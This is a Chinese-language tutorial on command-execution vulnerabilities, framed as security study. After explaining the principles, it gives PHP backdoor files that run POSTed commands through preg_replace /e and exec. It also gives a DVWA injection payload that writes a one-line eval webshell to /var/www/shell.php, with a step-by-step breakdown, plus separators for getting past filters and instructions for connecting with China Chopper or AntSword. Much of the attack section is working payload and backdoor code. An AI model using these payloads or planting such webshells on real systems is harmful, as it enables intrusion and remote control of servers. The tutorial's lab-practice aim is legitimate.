环境准备
这篇文章旨在用于网络安全学习,请勿进行任何非法行为,否则后果自负。
一、攻击相关介绍
原理
- 主要是输入验证不严格、代码逻辑错误、应用程序或系统中缺少安全机制等。攻击者可以通过构造特定的输入向应用程序或系统注入恶意代码,从而在受攻击的主机上执行任意命令。
使用方法
- 通过Web应用程序的输入字段注入恶意命令,例如在表单、URL参数、HTTP头等中注入恶意命令。
- 利用操作系统的命令执行函数或系统调用,执行攻击者构造的恶意命令。
- 利用应用程序的漏洞,例如文件上传功能,上传恶意文件并执行其中的命令。
使用前提
- 目标应用程序存在命令执行漏洞,即没有对用户输入进行正确的过滤、验证或转义。
- 攻击者能够与目标应用程序进行交互,例如能够提交表单、发送请求等。
- 攻击者能够构造恶意输入并将其注入到应用程序中。
常见的命令执行类型:
-
远程命令执行(Remote Command Execution):攻击者通过远程发送恶意请求或利用应用程序的漏洞,成功地执行远程系统命令。这种类型的漏洞通常涉及网络通信和远程执行代码。
-
本地命令执行(Local Command Execution):攻击者通过直接访问受影响系统,利用应用程序的漏洞执行本地系统命令。这种类型的漏洞通常涉及身份验证绕过或本地文件包含等问题。
-
代码注入(Code Injection):攻击者通过向应用程序输入注入恶意代码来实现执行任意命令的目的。常见的代码注入包括SQL注入、OS命令注入和LDAP注入等。
-
命令拼接(Command Concatenation):攻击者通过利用应用程序对命令字符串的错误处理,将恶意命令与原始命令拼接在一起,导致执行恶意操作。常见的拼接方式包括使用特殊字符、绕过命令过滤等手法。
二、攻击复现
远程代码执行 - preg_replace函数示例
在php的www目录下创建一个preg_replace.php文件,内容如下:
<?php preg_replace("/test/e",$_POST["cmd"],"just test");?>
然后使用工具连接,菜刀、蚁剑、或浏览器插件都可以
都连接上了,想干嘛就干嘛
远程系统命令执行
在php的www目录下创建一个exec.php文件,内容如下:
<?php $cmd=$_POST['cmd'];@exec($cmd,$return); // 执行$cmd,并把结果给数组$returnvar_dump($return) // 输出$return
?>
或者在DVWA靶场上复现
如:127.0.0.1&&ipconfig (ipconfig是查看主机的ip信息)
通过命令执行写入一句话马
攻击payload
127.0.0.1 | echo "<?php @eval(\$_POST[\"cmd\"])?>" > /var/www/shell.php
这个命令的目的是在服务器上创建一个名为 shell.php
的文件,其中包含 PHP 代码。让我们逐步分析该命令:
-
127.0.0.1
: 这是一个IP地址(本地回环地址),代表要连接的目标主机。 -
|
:管道符号,用于将前一个命令的输出作为后一个命令的输入。 -
echo "<?php @eval(\$_POST[\"cmd\"])?>"
: 这是一个echo命令,它将字符串<?php @eval(\$_POST["cmd"])?>
输出到标准输出。 -
>
:重定向操作符,将前一个命令的输出写入到后一个命令指定的文件中。 -
/var/www/shell.php
:这是目标文件路径,表示要将输出写入到/var/www/
目录下的名为shell.php
的文件。
综上所述,如果成功执行此命令,则会在服务器的 /var/www/
目录下创建一个名为 shell.php
的文件,并将 <?php @eval(\$_POST["cmd"])?>
的内容写入到该文件中。由于该PHP代码使用了 eval
函数,它会执行用户在 POST 请求(通过 cmd 参数)中输入的命令。
下面是一些常见的命令连接符及其作用:(如果管道符“|”被过滤了就可以使用其他的代替)
-
&
:将两个命令并行执行,无论前一个命令是否成功。 -
&&
:只有当前一个命令成功执行时,才会执行后一个命令。 -
|
:将前一个命令的输出作为后一个命令的输入。 -
||
:只有当前一个命令执行失败时,才会执行后一个命令。
复现
在靶机中查看木马文件
最后就能在靶机看到我们的文件了,我们的文件保存在/var/www/目录下,查看方法:
- cd /var/www/ -> ls # 之后就能看到/var/www/下的文件信息
我跟喜欢使用xfp 7与xshell 7来输入命令与查看文件
使用蚁剑或菜刀连接木马
成功进入目标文件管理界面,攻击复现成功
注意:虽然我们的shell.php木马文件存放在/var/www/目录下,但是我们连接只需要使用靶机IP+文件名即可。因为Web服务器已经将根目录设置为 /var/www/
,所以不需要在 URL 中显式指定该目录。只需使用 http://<IP地址>/文件名
的格式即可访问该文件。